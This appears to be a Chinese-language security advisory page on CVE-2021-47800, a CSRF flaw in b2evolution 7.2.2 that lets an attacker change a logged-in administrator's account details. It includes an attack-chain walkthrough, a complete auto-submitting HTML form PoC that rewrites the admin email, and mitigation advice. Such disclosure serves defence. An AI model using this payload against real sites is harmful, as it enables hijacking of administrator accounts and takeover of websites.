IPBUF安全漏洞报告
English
CVE-2021-47800 CVSS 5.3 中危

CVE-2021-47800 b2evolution 7.2.2 跨站请求伪造漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47800
漏洞类型
CSRF (跨站请求伪造)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
b2evolution 7.2.2

相关标签

CSRF跨站请求伪造b2evolution内容管理系统账户劫持MEDIUMCVE-2021-47800

漏洞概述

CVE-2021-47800是b2evolution内容管理系统中的一个跨站请求伪造(CSRF)漏洞,影响版本7.2.2。b2evolution是一款开源的博客和内容管理平台,广泛应用于个人网站和企业内容管理系统中。该漏洞允许未经身份验证的攻击者通过诱导已登录的管理员访问恶意网页,从而在管理员不知情的情况下修改管理员账户的敏感信息,包括用户名、密码、邮箱地址等。攻击者利用CSRF攻击的特性,可以欺骗受害者在已认证的会话中执行非预期的操作。由于该漏洞不需要任何认证即可发起攻击,且攻击过程隐蔽性强,对使用b2evolution 7.2.2版本的用户构成了中等程度的安全威胁。攻击成功后,攻击者可能获取管理员权限,进而控制整个网站,甚至进一步渗透到内部系统。

技术细节

该CSRF漏洞源于b2evolution 7.2.2版本在处理用户资料修改请求时缺乏有效的CSRF令牌验证机制。攻击者首先创建一个包含恶意表单的HTML页面,该表单模仿b2evolution的用户资料修改功能。当已登录的管理员访问该恶意页面时,浏览器会自动向b2evolution服务器发送请求,由于浏览器会自动携带目标网站的Cookie,服务器无法区分这是管理员的合法操作还是攻击者构造的恶意请求。漏洞利用的关键在于b2evolution的/user.php或相关用户资料更新端点没有验证请求是否包含有效的CSRF token。攻击者可以在表单中构造任意参数,如account_tab、user_tag_login、param_xprt等,并提交到服务器的更新接口。服务器在接收到请求后,由于会话已认证,会直接执行参数中指定的操作,导致管理员账户信息被恶意修改。防御该漏洞需要在所有状态修改操作中实现CSRF令牌验证机制。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意表单的HTML页面,模仿b2evolution的用户资料修改功能,表单action指向目标b2evolution站点
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或其他方式诱导已登录的管理员访问该恶意HTML页面
STEP 3
步骤3
管理员浏览器加载恶意页面后,自动提交携带管理员认证Cookie的POST请求到b2evolution服务器
STEP 4
步骤4
b2evolution服务器接收到请求,由于会话已认证且缺少CSRF验证,执行请求中的参数操作
STEP 5
步骤5
管理员账户的邮箱、密码或其他敏感信息被攻击者指定的恶意值修改
STEP 6
步骤6
攻击者使用修改后的账户凭据登录后台,获取完全的管理员权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2021-47800 CSRF PoC - Modify Admin Account Details --> <html> <body> <h1>b2evolution CSRF Exploit - Account Modification</h1> <p>Target: b2evolution 7.2.2 Admin Account Modification</p> <form id="csrfForm" action="http://target-site/user.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ctrl" value="users"> <input type="hidden" name="action" value="update"> <input type="hidden" name="account_tab" value="profile"> <input type="hidden" name="user_ID" value="1"> <input type="hidden" name="edited_user_login" value="admin"> <input type="hidden" name="firstname" value="Admin"> <input type="hidden" name="lastname" value="Modified"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="edit_user_pwd_main" value=""> <input type="hidden" name="edit_user_pwd_confirm" value=""> <input type="hidden" name="submit_action" value="update"> </form> <script> document.getElementById('csrfForm').submit(); </script> </body> </html>

影响范围

b2evolution < 7.2.3 (fixed version)

防御指南

临时缓解措施
在官方修复版本发布之前,可以通过以下措施临时缓解该漏洞:1) 限制用户资料修改功能的访问权限;2) 在Web应用防火墙(WAF)中添加针对CSRF攻击的防护规则;3) 提醒管理员不要点击未知链接;4) 监控异常的用户资料修改行为;5) 考虑暂时禁用非必要的用户资料修改功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表